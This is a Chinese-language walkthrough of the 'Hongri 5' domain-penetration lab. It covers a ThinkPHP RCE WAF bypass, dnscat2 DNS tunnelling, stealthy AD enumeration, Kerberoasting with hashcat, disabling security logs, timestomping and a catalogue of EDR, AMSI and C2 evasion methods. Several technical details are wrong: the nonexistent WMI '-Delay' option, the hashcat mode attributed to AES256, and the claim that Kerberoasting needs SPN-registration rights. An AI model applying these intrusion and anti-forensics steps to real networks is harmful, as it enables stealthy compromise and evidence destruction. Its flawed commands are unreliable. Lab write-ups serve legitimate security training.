1. 红日靶场实战环境概述
红日靶场是国内知名的网络安全实战演练平台，其第五套环境（简称"红日五"）延续了该系列一贯的实战化设计理念。这套靶场模拟了企业内网渗透测试的典型场景，包含域渗透、权限提升、横向移动等核心攻防技术点。作为安全从业者，我花了三周时间完整通关这套环境，期间记录了详细的渗透路径和思考过程。
这套靶场最显著的特点是高度还原了真实企业网络中的防御措施。与市面上许多"放水"的靶机不同，红日五设置了包括杀软拦截、流量审计、权限管控在内的多重防御机制，对渗透者的技术全面性和操作隐蔽性提出了更高要求。我在实战中遇到的第一个难点就是如何绕过入口主机的防护措施。
2. 环境搭建与初始信息收集
2.1 靶场拓扑分析
红日五的网络拓扑采用典型的三层架构：
- DMZ区：部署Web服务器（192.168.93.130）
- 办公区：域成员主机（192.168.93.131）
- 核心区：域控制器（192.168.93.132）
通过Nmap扫描发现DMZ主机开放了80/443端口，运行着某内容管理系统。办公区主机除常规445端口外，还开放了5985（WinRM）端口。这种设计模拟了企业允许远程管理的真实场景，也暗示了可能的攻击路径。
2.2 Web应用漏洞挖掘
目标网站使用ThinkPHP框架，版本信息泄露显示为5.0.23。该版本存在著名的RCE漏洞（CVE-2018-20062），但直接利用公开EXP会被部署的WAF拦截。经过多次测试，我采用以下绕过方案：
- 使用chunked编码拆分攻击载荷
- 在参数名中插入非常规空格（%a0）
- 关键函数名改用十六进制编码
最终通过组合拳成功获取webshell权限，但立即触发了EDR的进程监控。这里需要特别注意：上传的shell必须使用白名单进程（如w3wp.exe）作为父进程，否则会被立即终止。
3. 内网横向移动技术实践
3.1 权限维持与隧道搭建
获得初始立足点后，首要任务是建立稳定的通信通道。常规的nc/meterpreter容易被流量审计设备发现，我选择使用DNS-over-HTTPS（DoH）进行隐蔽通信：
# 配置dnscat2服务端 ruby dnscat2.rb --dns domain=redteam.live --security=authenticated在目标机器上通过计划任务每5分钟发起一次DNS查询，将数据编码在子域名中传输。这种方式的优势在于：
- 使用合法加密协议（HTTPS）
- 流量混杂在正常DNS请求中
- 不需要开放额外端口
3.2 域内信息收集技巧
通过webshell执行基本的whoami /all和net config workstation命令后，发现当前用户属于"Domain Users"组。进一步收集域信息时，需要注意避免触发日志告警：
- 使用LDAP查询替代net命令
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()- 通过WMI获取主机信息时添加延迟
Get-WmiObject -Class Win32_ComputerSystem -ComputerName DC01 -Delay 3000- 使用BloodHound采集数据时限制关系深度
SharpHound.exe -c DCOnly -d redteam.live --ZipFilename ldap.zip4. 域控提权与权限升华
4.1 Kerberoasting攻击实战
在获取域用户凭证后，发现该账户具有SPN注册权限。通过请求TGS票据并导出：
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc01.redteam.live"使用hashcat破解：
hashcat -m 13100 hashes.txt rockyou.txt -r rules/d3ad0ne.rule关键技巧：在域控制器上配置了票据加密算法限制（只允许AES256）的情况下，需要特别指定破解模式：
hashcat -m 19600 kerberos.txt wordlist.txt4.2 防御规避与痕迹清理
获得域管理员权限后，需要特别注意操作痕迹的处理：
- 清除日志前先禁用日志服务
wevtutil set-log security /enabled:false- 使用timestomp修改文件时间属性
timestomp secret.docx -m "01/01/2020 08:00:00"- 清除WMI事件订阅
Get-WmiObject -Namespace root\Subscription -Class __EventFilter | Remove-WmiObject5. 防御体系对抗经验总结
通过红日五的实战演练，我总结了企业级防御体系的几个突破要点：
- 应用层防护绕过
- 利用合法云服务API作为C2通道（如Slack/Discord webhook）
- 将payload嵌入图片EXIF数据
- 使用Process Hollowing注入可信进程
- 终端防护对抗
- 通过COM劫持实现无文件攻击
- 利用签名的驱动程序加载恶意模块
- 修改注册表禁用AMSI扫描
- 网络层隐蔽通信
- 基于ICMP的隧道工具（pingtunnel）
- 云函数作为流量中转节点
- 合法网站评论区作为命令下发通道
这套靶场最值得称道的是其防御体系的完整性，几乎每个攻击环节都需要考虑对抗措施。例如在最后阶段，即使获得域管权限，直接登录DC仍会触发异常登录告警。此时需要通过PsExec配合已控制的中间主机进行跳转，并伪造正常的运维操作模式。
在真实攻防对抗中，红线突破往往只是开始，如何保持隐蔽、持续控制才是更大的挑战。红日五的每个防御节点都经过精心设计，迫使攻击者必须深入理解Windows认证机制、日志系统和网络协议等底层原理，这正是它作为高级靶场的价值所在。
